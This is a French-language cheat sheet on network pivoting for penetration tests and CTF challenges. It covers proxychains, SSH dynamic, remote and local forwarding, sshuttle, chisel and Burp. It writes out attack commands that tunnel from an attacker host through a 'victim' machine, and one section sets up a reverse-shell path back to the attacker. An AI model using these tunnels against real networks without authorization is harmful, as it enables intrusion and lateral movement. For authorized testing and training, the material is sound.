
Un guide compact sur le pivoting réseau pour les tests d'intrusion / challenges CTF.
N'utilisez pas les requêtes ICMP echo (ping) pour tester les proxys SOCKS.
SOCKS est un protocole Internet qui échange des paquets réseau entre un client et un serveur via un serveur proxy. Concrètement, un serveur SOCKS transmet les connexions TCP vers une adresse IP arbitraire et fournit un moyen de transférer les paquets UDP.
Vous devez le tester en utilisant un protocole basé sur TCP (par exemple, essayez de vous connecter en SSH ou d'envoyer une requête HTTP GET à un hôte à travers le tunnel de pivot).
NMAP doit être utilisé avec le scan de connexion TCP (-sT) et sans ping (-Pn)
Cela s'applique également aux scans de version (-sV) et de scripts (-sC). Ils doivent être utilisés en combinaison avec -sT et -Pn.
Exemples :
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
Astuce : Vous pouvez uploader naabu sur la machine victime et scanner comme un chef.
Utiliser des scripts et des binaires avec proxychains
Une astuce pour utiliser proxychains est de s'assurer que si vous exécutez un programme interprété (comme un script Python), il est judicieux de référencer explicitement le binaire Python avant ce script, même si le script commence par un shebang, par exemple :
proxychains4 [-q -f proxychains.conf] python python_script.py
Sans cette référence explicite à l'interpréteur du script, le trafic généré par le script peut parfois ne pas être routé via le proxy comme prévu, et la connexion réseau échouera. Source de l'astuce
Décommentez la ligne « quiet mode » dans /etc/proxychains.conf pour éviter une sortie standard qui peut être frustrante.
Ce n'est qu'une suggestion.
Permet de créer une socket sur la machine locale (client ssh), qui agit comme un serveur proxy SOCKS. Lorsqu'un client se connecte à ce port, la connexion est transférée vers la machine distante (serveur ssh), puis vers un port dynamique sur la machine de destination.
Comment la configurer :
Modifiez /etc/proxychains.conf et appliquez ce qui suit :
Configurez la redirection de port dynamique SSH :
ssh -D 127.0.0.1:9050 user@victim-IP
Exemples d'utilisation :
Avec x.x.x.x comme adresse IP d'un hôte appartenant au réseau tunnelisé :
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
Pour utiliser Firefox à travers le tunnel :
proxychains firefox
Si vous cherchez comment obtenir un reverse shell à travers un tunnel de pivot, c'est ce qu'il vous faut. Elle permet de transférer un port sur la machine distante (victime) vers un port sur la machine locale (attaquant).
Comment la configurer :
Connectez-vous en SSH à la machine victime.
Modifiez /etc/ssh/sshd_config et appliquez ce qui suit :
*C'est très important et de nombreux guides sur le web ne le mentionnent pas. Si vous ne le faites pas, vous ne pourrez configurer le tunnel que sur 127.0.0.1 plutôt que sur 0.0.0.0, ce qui finira par ne pas transférer le trafic lorsqu'il provient d'un hôte autre que localhost.
sudo service ssh restartConfigurez la redirection de port distant SSH :
Essentiellement, après l'avoir configurée comme mentionné, la commande est aussi simple que ceci :
ssh -R 2222:*:2222 user@victim-IP
Pour tester si cela fonctionne, vous pouvez faire ce qui suit :
Mettez en place un listener (par exemple netcat) sur votre machine attaquante (sur le port que vous avez configuré pour la redirection distante, dans cet exemple 2222) et faites une requête depuis la machine victime vers elle-même (localhost). Dans cet exemple, ce serait nc 127.0.0.1 2222. Si votre machine attaquante reçoit la connexion, cela signifie que a) cela fonctionne et b) chaque connexion depuis les hôtes de pivot vers victimip:2222 sera transférée vers la machine attaquante.
Vous pouvez configurer plusieurs ports comme ceci :
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
Attention : Les requêtes provenant d'hôtes étrangers (réseau de pivot) doivent être adressées à l'IP de la victime afin d'être renvoyées vers la machine attaquante.
*Vous pouvez également implémenter la redirection de port distant en vous connectant en SSH depuis la victime vers la machine attaquante.
La redirection de port local vous permet de transférer un port sur la machine locale (attaquant) vers un port sur la machine distante (victime). Particulièrement utile pour scanner les ports locaux sur la victime.
Utilisation :
ssh user@victim-IP -L 8888:127.0.0.1:8086
Vous pouvez maintenant utiliser par exemple nmap pour scanner le port 8086 sur la machine victime comme ceci :
nmap -Pn -n -p8888 -sV 127.0.0.1
Un exemple de mise en œuvre du double pivotage avec la redirection de port dynamique SSH et Proxychains.
Concept :
Supposons que nous ayons les 4 machines suivantes.
| IP | Rôle |
|---|---|
| 10.10.10.10 | Attaquant |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
L'attaquant peut atteindre Jumphost1.
Jumphost1 peut atteindre Jumphost2.
Jumphost2 peut atteindre Jumphost3.
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
Vous devriez maintenant pouvoir atteindre Jumphost3.
sshuttle vous permet de créer une connexion VPN de votre machine vers n'importe quel serveur distant via ssh, à condition que ce serveur dispose de python 2.3 ou supérieur. Pour fonctionner, vous devez avoir un accès root sur la machine locale, mais vous pouvez avoir un compte normal sur le serveur. Il est possible d'exécuter sshuttle plus d'une fois simultanément sur une seule machine cliente, en se connectant à un serveur différent à chaque fois, ce qui vous permet d'être sur plusieurs VPN à la fois. Consultez le dépôt GitHub de sshuttle.
Utilisation :
En supposant que nous voulions pivoter vers 172.16.2.0/16 :
sshuttle -vvr root@victim 172.16.2.0/16
Si vous voulez utiliser une clé ssh :
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
Chisel est un tunnel TCP/UDP rapide, transporté sur HTTP, sécurisé via SSH. Un seul exécutable incluant à la fois le client et le serveur. Écrit en Go (golang). C'est incroyablement génial et utile.
Installation :
Vous pouvez facilement installer chisel sur kali :
apt install chisel
Pour l'utiliser, vous devez également uploader le binaire chisel sur la victime. Vous pouvez télécharger des versions précompilées ici.
Exemple de redirection de port local
Sur votre machine attaquante :
chisel server -p 8000 --reverse
Sur la machine victime :
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
Cela va transférer le trafic du port 1234 de la machine attaquante vers le port 8443 de la machine victime.
Burpsuite prend en charge la configuration de proxys, une fonctionnalité incroyablement utile et puissante.
Comment la configurer :
Lancez Burpsuite et appliquez ce qui suit :
En combinaison avec la mise en place d'une redirection de port dynamique SSH ou de sshuttle, vous pouvez maintenant utiliser Burpsuite pour faire pivoter le trafic vers les hôtes souhaités en envoyant le trafic à votre port de liaison localhost. Un exemple utile avec gobuster dir brute à travers le tunnel (en supposant que vous avez défini le port 2222 comme port de redirection) :
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt